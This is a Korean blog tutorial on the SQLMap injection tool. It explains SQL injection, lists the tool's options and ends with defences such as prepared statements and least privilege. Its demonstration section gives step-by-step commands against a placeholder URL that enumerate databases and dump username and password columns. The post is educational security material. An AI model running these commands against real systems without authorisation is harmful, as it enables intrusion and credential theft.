2 분 소요

[공지사항] 본 블로그에 포함된 모든 정보는 교육 목적으로만 제공됩니다.

[데이터베이스 설계 및 SQL쿼리] 데이터베이스와 SQL쿼리를 모르신다면 클릭!

[SQLi-sqlma 옵션 리스트 01]sqlmap 옵션를 확인하고 싶다면 클릭!

📖개요

SQLMap은 데이터베이스 관리 시스템(DBMS)의 SQL 인젝션 취약점을 자동으로 탐지하고, 이를 악용하여 다양한 공격을 수행할 수 있는 오픈 소스 도구입니다.

SQLMap은 강력한 기능과 유연한 옵션을 제공하여 보안 전문가와 해커 모두에게 인기 있는 도구입니다.

이미지

💉SQL 인젝션 개요

SQL 인젝션은 웹 애플리케이션에서 사용자 입력이 제대로 검증되지 않아 공격자가 임의의 SQL 코드를 주입할 수 있는 취약점입니다.

이를 통해 공격자는 데이터베이스의 데이터를 무단으로 조회, 수정, 삭제할 수 있습니다.

🪄SQLMap의 주요 기능

SQLMap은 다음과 같은 주요 기능을 제공합니다

자동 탐지: 다양한 SQL 인젝션 유형을 자동으로 탐지합니다.

데이터베이스 정보 수집: 데이터베이스, 테이블, 컬럼 등의 정보를 조회합니다.

데이터 추출: 특정 테이블이나 컬럼의 데이터를 추출합니다.

파일 시스템 접근: 데이터베이스 서버의 파일 시스템에 접근할 수 있습니다.

명령어 실행: 데이터베이스 서버에서 시스템 명령어를 실행할 수 있습니다.

✏️SQLMap 사용 방법

SQLMap은 명령줄 도구로, 다양한 옵션을 제공하여 공격을 구성할 수 있습니다. 다음은 기본적인 사용 예시입니다:

`sqlmap -u "http://example.com/vulnerable_page.php?id=1" --dbs`

이 명령어는 http://example.com/vulnerable_page.php?id=1 페이지에 SQL 인젝션을 시도하고, 데이터베이스 목록을 조회합니다.

주요 옵션 설명

-u : 대상 URL을 지정합니다.

--dbs : 데이터베이스 목록을 나열합니다.

--tables : 특정 데이터베이스의 테이블 목록을 나열합니다.

--columns : 특정 테이블의 컬럼 목록을 나열합니다.

--dump : 특정 테이블의 데이터를 추출합니다.

☠️SQLMap 시연 예제

단계 1: 데이터베이스 탐지

`sqlmap -u "http://example.com/vulnerable_page.php?id=1" --dbs`

이 명령어는 SQLMap이 대상 URL에서 SQL 인젝션 취약점을 탐지하고, 데이터베이스 목록을 나열합니다.

단계 2: 테이블 탐지

`sqlmap -u "http://example.com/vulnerable_page.php?id=1" -D example_db --tables`

이 명령어는 example_db 데이터베이스 내의 테이블 목록을 나열합니다.

단계 3: 컬럼 탐지

`sqlmap -u "http://example.com/vulnerable_page.php?id=1" -D example_db -T users --columns`

이 명령어는 example_db 데이터베이스의 users 테이블 내의 컬럼 목록을 나열합니다.

단계 4: 데이터 추출

`sqlmap -u "http://example.com/vulnerable_page.php?id=1" -D example_db -T users -C username,password --dump`

이 명령어는 example_db 데이터베이스의 users 테이블에서 usernamepassword 컬럼의 데이터를 추출합니다.

🛡️SQL 인젝션 대응 방안

SQL 인젝션을 예방하기 위해 다음과 같은 방안을 적용할 수 있습니다.

입력 검증

사용자 입력을 철저히 검증하여 악의적인 SQL 코드를 차단합니다.

준비된 문(Prepared Statements)

SQL 쿼리를 실행할 때, 매개변수를 별도로 처리하여 SQL 인젝션을 방지합니다.

ORM 사용

객체 관계 매핑(Object-Relational Mapping) 도구를 사용하여 직접적인 SQL 쿼리 작성을 최소화합니다.

최신 보안 패치 적용

데이터베이스 관리 시스템과 웹 애플리케이션의 최신 보안 패치를 적용하여 알려진 취약점을 차단합니다.

최소 권한 원칙

데이터베이스 사용자 계정에 최소한의 권한만 부여하여, SQL 인젝션이 성공하더라도 피해를 최소화합니다.

🛠️결론

SQLMap은 SQL 인젝션 취약점을 자동으로 탐지하고 악용할 수 있는 강력한 도구입니다.

하지만, SQL 인젝션 공격의 위험성을 줄이기 위해서는 적절한 보안 조치를 적용하는 것이 필수적입니다.

입력 검증, 준비된 문 사용, 최신 보안 패치 적용 등 다양한 대응 방안을 통해 웹 애플리케이션의 보안을 강화할 수 있습니다.

📖Reference

sqlmap로고 출처: x.com

댓글남기기